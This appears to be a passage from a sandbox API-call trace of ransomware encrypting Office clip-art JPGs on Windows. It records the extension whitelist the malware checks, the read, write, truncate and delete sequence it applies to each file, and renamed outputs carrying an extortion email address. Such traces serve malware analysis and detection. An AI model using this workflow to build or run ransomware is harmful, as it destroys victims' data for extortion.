	[0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.606] lstrlenW (lpString=".doc") returned 4
	[0190.607] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.607] lstrlenW (lpString=".docx") returned 5
	[0190.607] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0190.607] lstrlenW (lpString=".pdf") returned 4
	[0190.607] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.607] lstrlenW (lpString=".xls") returned 4
	[0190.607] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.607] lstrlenW (lpString=".xlsx") returned 5
	[0190.607] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0190.607] lstrlenW (lpString=".ppt") returned 4
	[0190.607] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString=".zip") returned 4
	[0190.607] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.607] lstrlenW (lpString=".rar") returned 4
	[0190.607] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.607] lstrlenW (lpString=".bz2") returned 4
	[0190.607] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.607] lstrlenW (lpString=".7z") returned 3
	[0190.607] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString=".dbf") returned 4
	[0190.607] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString=".1cd") returned 4
	[0190.607] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString=".jpg") returned 4
	[0190.607] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.607] lstrlenW (lpString=".doc") returned 4
	[0190.607] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.607] lstrlenW (lpString=".docx") returned 5
	[0190.607] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0190.607] lstrlenW (lpString=".pdf") returned 4
	[0190.608] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.608] lstrlenW (lpString=".xls") returned 4
	[0190.608] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.608] lstrlenW (lpString=".xlsx") returned 5
	[0190.608] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0190.608] lstrlenW (lpString=".ppt") returned 4
	[0190.608] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.608] lstrlenW (lpString=".zip") returned 4
	[0190.608] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.608] lstrlenW (lpString=".rar") returned 4
	[0190.608] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.608] lstrlenW (lpString=".bz2") returned 4
	[0190.608] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.608] lstrlenW (lpString=".7z") returned 3
	[0190.608] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.608] lstrlenW (lpString=".dbf") returned 4
	[0190.608] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.608] lstrlenW (lpString=".1cd") returned 4
	[0190.608] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0190.608] lstrlenW (lpString=".jpg") returned 4
	[0190.608] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.608] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.608] lstrlenW (lpString="J0099155.JPG") returned 12
	[0190.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.609] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8826) returned 1
	[0190.609] CloseHandle (hObject=0x374) returned 1
	[0190.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0190.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0190.609] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.609] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0190.610] GetLastError () returned 0x0
	[0190.610] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x227a, lpOverlapped=0x0) returned 1
	[0191.041] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x2280, lpOverlapped=0x0) returned 1
	[0191.042] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.042] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.043] SetEndOfFile (hFile=0x378) returned 1
	[0191.043] CloseHandle (hObject=0x378) returned 1
	[0191.043] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.043] SetEndOfFile (hFile=0x374) returned 1
	[0191.044] CloseHandle (hObject=0x374) returned 1
	[0191.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString=".doc") returned 4
	[0191.045] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.045] lstrlenW (lpString=".docx") returned 5
	[0191.045] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0191.045] lstrlenW (lpString=".pdf") returned 4
	[0191.045] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.045] lstrlenW (lpString=".xls") returned 4
	[0191.045] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.045] lstrlenW (lpString=".xlsx") returned 5
	[0191.045] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0191.045] lstrlenW (lpString=".ppt") returned 4
	[0191.045] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString=".zip") returned 4
	[0191.045] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.045] lstrlenW (lpString=".rar") returned 4
	[0191.045] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.045] lstrlenW (lpString=".bz2") returned 4
	[0191.045] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.045] lstrlenW (lpString=".7z") returned 3
	[0191.045] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString=".dbf") returned 4
	[0191.045] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString=".1cd") returned 4
	[0191.045] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.045] lstrlenW (lpString=".jpg") returned 4
	[0191.045] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString=".doc") returned 4
	[0191.046] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.046] lstrlenW (lpString=".docx") returned 5
	[0191.046] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0191.046] lstrlenW (lpString=".pdf") returned 4
	[0191.046] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.046] lstrlenW (lpString=".xls") returned 4
	[0191.046] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.046] lstrlenW (lpString=".xlsx") returned 5
	[0191.046] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0191.046] lstrlenW (lpString=".ppt") returned 4
	[0191.046] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString=".zip") returned 4
	[0191.046] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.046] lstrlenW (lpString=".rar") returned 4
	[0191.046] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.046] lstrlenW (lpString=".bz2") returned 4
	[0191.046] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.046] lstrlenW (lpString=".7z") returned 3
	[0191.046] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString=".dbf") returned 4
	[0191.046] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString=".1cd") returned 4
	[0191.046] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0191.046] lstrlenW (lpString=".jpg") returned 4
	[0191.046] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.047] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0191.047] lstrlenW (lpString="J0099167.JPG") returned 12
	[0191.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.047] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=43949) returned 1
	[0191.047] CloseHandle (hObject=0x374) returned 1
	[0191.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0191.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.047] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.047] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.049] GetLastError () returned 0x0
	[0191.049] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0xabad, lpOverlapped=0x0) returned 1
	[0191.050] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0191.052] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.052] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.052] SetEndOfFile (hFile=0x378) returned 1
	[0191.052] CloseHandle (hObject=0x378) returned 1
	[0191.052] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.052] SetEndOfFile (hFile=0x374) returned 1
	[0191.053] CloseHandle (hObject=0x374) returned 1
	[0191.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0191.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.054] lstrlenW (lpString=".doc") returned 4
	[0191.054] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.054] lstrlenW (lpString=".docx") returned 5
	[0191.054] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0191.054] lstrlenW (lpString=".pdf") returned 4
	[0191.054] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.054] lstrlenW (lpString=".xls") returned 4
	[0191.054] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.054] lstrlenW (lpString=".xlsx") returned 5
	[0191.054] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0191.054] lstrlenW (lpString=".ppt") returned 4
	[0191.054] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.054] lstrlenW (lpString=".zip") returned 4
	[0191.054] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.054] lstrlenW (lpString=".rar") returned 4
	[0191.054] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.054] lstrlenW (lpString=".bz2") returned 4
	[0191.055] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.055] lstrlenW (lpString=".7z") returned 3
	[0191.055] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString=".dbf") returned 4
	[0191.055] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString=".1cd") returned 4
	[0191.055] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString=".jpg") returned 4
	[0191.055] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString=".doc") returned 4
	[0191.055] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.055] lstrlenW (lpString=".docx") returned 5
	[0191.055] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0191.055] lstrlenW (lpString=".pdf") returned 4
	[0191.055] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.055] lstrlenW (lpString=".xls") returned 4
	[0191.055] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.055] lstrlenW (lpString=".xlsx") returned 5
	[0191.055] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0191.055] lstrlenW (lpString=".ppt") returned 4
	[0191.055] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.055] lstrlenW (lpString=".zip") returned 4
	[0191.055] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.055] lstrlenW (lpString=".rar") returned 4
	[0191.055] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.055] lstrlenW (lpString=".bz2") returned 4
	[0191.055] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.055] lstrlenW (lpString=".7z") returned 3
	[0191.055] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.056] lstrlenW (lpString=".dbf") returned 4
	[0191.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.056] lstrlenW (lpString=".1cd") returned 4
	[0191.056] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0191.056] lstrlenW (lpString=".jpg") returned 4
	[0191.056] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.056] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0191.056] lstrlenW (lpString="J0099168.JPG") returned 12
	[0191.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.056] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=20179) returned 1
	[0191.056] CloseHandle (hObject=0x374) returned 1
	[0191.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0191.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0191.057] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.057] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.058] GetLastError () returned 0x0
	[0191.058] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0191.058] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0191.060] ReadFile (in: hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.060] WriteFile (in: hFile=0x378, lpBuffer=0x35f3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x35f3020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.060] SetEndOfFile (hFile=0x378) returned 1
	[0191.060] CloseHandle (hObject=0x378) returned 1
	[0191.061] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.061] SetEndOfFile (hFile=0x374) returned 1
	[0191.061] CloseHandle (hObject=0x374) returned 1
	[0191.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0191.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
